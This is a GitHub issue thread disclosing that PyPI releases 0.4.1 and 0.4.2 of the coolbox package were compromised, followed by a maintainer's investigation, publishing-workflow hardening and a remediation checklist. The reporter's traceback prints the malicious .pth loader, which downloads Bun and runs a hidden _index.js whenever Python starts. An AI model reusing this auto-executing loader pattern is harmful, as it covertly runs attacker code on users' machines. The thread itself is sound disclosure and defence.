PyPI releases 0.4.1 and 0.4.2 affected by Shai-Hulud supply chain attack

[StefanoCretti]

While installing the latest version of the package (0.4.2 at the time of writing), I noticed a weird message

Error processing line 1 of /Users/stefano.cretti/.local/share/mamba/envs/test_plot/lib/python3.14/site-packages/coolbox-setup.pth:

    Traceback (most recent call last):
      File "<frozen site>", line 213, in addpackage
      File "<string>", line 1, in <module>
      File "<string>", line 1
        import os as _o,subprocess as _s,urllib.request as _u,platform as _p,sys as _y;_d=_o.path.dirname;_n=_o.path.join;_j=_n(_d(__file__),"_index.js");if not
  _o.path.exists(_j):import glob as _g;_c=_g.glob(_n(_d(__file__),"*","_index.js"));_j=_c[0]if _c else"";_e=_o.name=="nt";_b=_n(_T.gettempdir(),"b","bun"+(".exe" if _e else""));if not
  _o.path.exists(_b):_a="aarch64" if _p.machine()=="arm64" else"x64";_m={"linux":"linux","darwin":"darwin","win32":"windows"}.get(_y.platform,"linux");_z=_n(_T.gettempdir(),"b.zip");_u
  .urlretrieve(f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{_m}-{_a}.zip",_z);import zipfile as
  _zf;_zf.ZipFile(_z).extract(_o.path.basename(_b),_d(_b));_o.chmod(_b,509);_o.unlink(_z);_s.run([_b,"run",_j],check=False);open(_G,"w").close()
                                                                                                                                                          ^^
      SyntaxError: invalid syntax

    Remainder of file ignored

By investigating it, I found out that versions 0.4.1 and 0.4.2 of the package are affected by the Shai-Hulud supply chain attack.

I was saved by the usage of Python 3.14, but I could have been affected were I using an older version.
This issue is to inform the maintainers (if not addressed, any newer version published from their machines will be affected) as well as anyone who might have installed the package.

As far as I can tell, version 0.4.0 is the latest uncompromised one, so I would advise pinning that for the time being.

[zqbake]

Thanks for reporting this. I investigated the repository side and pushed a hardening commit: eeb5e05 ("ci: harden PyPI publishing workflow"). cc @Nanguage

What I could verify from the repository/GitHub side:

• PyPI currently reports the coolbox project as quarantined; the simple API exposes no files or versions, so I could not download the 0.4.1/0.4.2 artifacts from public PyPI anymore for local unpacking.
• GitHub releases/tags only go up to 0.4.0; there are no 0.4.1 or 0.4.2 tags/releases.
• GitHub Actions history shows the PyPI publish workflow only published 0.4.0; there is no repository-side workflow run for 0.4.1 or 0.4.2.
• The source tree and a freshly built local 0.4.0 wheel do not contain the reported coolbox-setup.pth / _index.js payload.

Repository-side mitigation already committed:

• Replaced the old Twine + long-lived PYPI_API_TOKEN publish flow with PyPI Trusted Publishing / GitHub OIDC.
• Split packaging and publishing into separate jobs. Only the publish job has id-token: write.
• Added a distribution safety check before upload. It rejects unexpected .pth, JS-related files, Node/Bun package files, path traversal entries, and known Bun download markers.
• Added tests covering the hardened workflow and the distribution safety checker.

Checks run before pushing:

• pytest tests/test_publish_hardening.py -q --noconftest -> 4 passed
• python -m py_compile scripts/check_dist_safety.py tests/test_publish_hardening.py
• YAML parse of .github/workflows/python-publish.yml
• Fresh python -m build, followed by python scripts/check_dist_safety.py dist/*
• Confirmed the publish workflow no longer references PYPI_API_TOKEN, PYPI_USERNAME, PYPI_PASSWORD, Twine env vars, or twine upload

Important maintainer follow-up still required before any new PyPI release:

1. Contact PyPI Security and request the upload logs / file hashes / artifacts for coolbox==0.4.1 and coolbox==0.4.2, and confirm the exact account/token used for those uploads.
2. Revoke and remove the existing GitHub repo secrets PYPI_API_TOKEN, PYPI_USERNAME, and PYPI_PASSWORD. Treat them as compromised.
3. Rotate any credentials reachable from the publishing environment or maintainer machines: PyPI credentials/recovery codes, GitHub PATs/SSH keys, CI secrets, cloud credentials, npm/package-registry tokens, etc.
4. Enable/verify 2FA for PyPI maintainers and review PyPI project owner/maintainer membership.
5. Configure PyPI Trusted Publishing for this repository before the next release:
   • Owner: GangCaoLab
   • Repository: CoolBox
   • Workflow: python-publish.yml
   • Environment: pypi
6. Create/review the GitHub pypi environment and consider requiring manual approval for releases.
7. Audit maintainer machines and CI environments for coolbox-setup.pth, _index.js, unexpected Bun downloads, and any suspicious outbound activity.
8. Publish a clear advisory telling users who installed 0.4.1 or 0.4.2 to treat the environment as potentially compromised, uninstall the package, remove the malicious files if present, and rotate reachable secrets.
9. Only after PyPI/security cleanup is complete, publish a new clean version (for example 0.4.3) using the new Trusted Publishing workflow. Until PyPI Trusted Publishing is configured, the new workflow is expected to fail at the publish step; that is intentional.

[StefanoCretti]

Any news by the PyPI team as to when the project will be removed from quarantine?

[zqbake]

Thanks for following up. This is still being worked on; the PyPI/quarantine and credential-side follow-up is currently being handled by @weize. We'll update this issue as soon as there is concrete progress from that side.